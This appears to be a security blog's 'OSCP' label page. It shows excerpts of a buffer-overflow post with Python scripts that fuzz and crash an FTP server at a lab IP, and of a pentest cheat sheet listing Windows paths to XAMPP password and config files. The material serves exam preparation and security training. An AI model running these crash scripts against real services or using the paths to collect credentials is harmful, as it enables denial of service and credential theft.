Posts

Showing posts with the label OSCP

Buffer Overflow

Image
Fuzzing #!/usr/bin/python import socket buffer = ["A"] count = 100 while len(buffer) <= 50: buffer.append("A"*count) count = count + 100 for strings in buffer: print "Fuzzing with %s bytes" % len(strings) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.24.103',21)) # connect to FTP Server s.send(strings + '\r\n') response = s.recv(1024) print response s.send("password\r\n") response = s.recv(1024) print response s.send('BYE'+'\r\n') s.close() When buffer characters of 400 'A' crash the application #!/usr/bin/python import socket buffer = 'A' * 400 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.24.103',21)) # connect to FTP Server s.send(buffer + '\r\n') response = s.recv(1024) print response s.send("password\r\n") response = s.recv(1024) print response s.send('BYE'+...

Offensive Security Testing Guide

Image
This cheat sheet compiles the commands we learned to exploit vulnerable machines. However, these commands alone may not be sufficient to obtain your Offensive Security Certified Professional (OSCP) certification. So... Try Harder! Information Gathering Operating System Windows Interesting Path "Documents and Settings"/Administrator/Desktop file:///C:/xampp/readme_en.txt file:///C:/xampp/passwords.txt file:///C:/xampp/webdav/webdav.txt file:///C:/xampp/apache/conf/extra/httpd-dav.conf file:///C:/xampp/apache/conf/extra/httpd-xampp.conf file:///C:/xampp/apache/logs/access.log file:///C:/xampp/apache/logs/error.log file:///C:/xampp/security/webdav.htpasswd file:///C:/xampp/htdocs/dashboard/phpinfo.php file:///C:/xampp/phpmyadmin/config.inc.php file:///C:/xampp/php/logs/php_error_log file:///C:/xampp/mysql/bin/my.ini C:\Users\<User>\AppData\Local\Temp #Email Address C:\Users\<User>\AppData\Local\Microsoft\Outlook Active Connection netstat -...

Hack The Box - Invitation

Image

Popular posts from this blog

Remote Desktop Protocol (RDP) Security

Penetration Testing - Network

Damn Vulnerable Web Services (DVWS) - Walkthrough

Server Message Block (SMB) Security

Offensive Security Testing Guide

Host Configuration Assessment - Windows

Web Server Hardening - Apache Tomcat

Content Page

Mobile Penetration Testing - Android

Penetration Testing with OWASP Top 10 - 2017 A7 Cross-Site Scripting (XSS)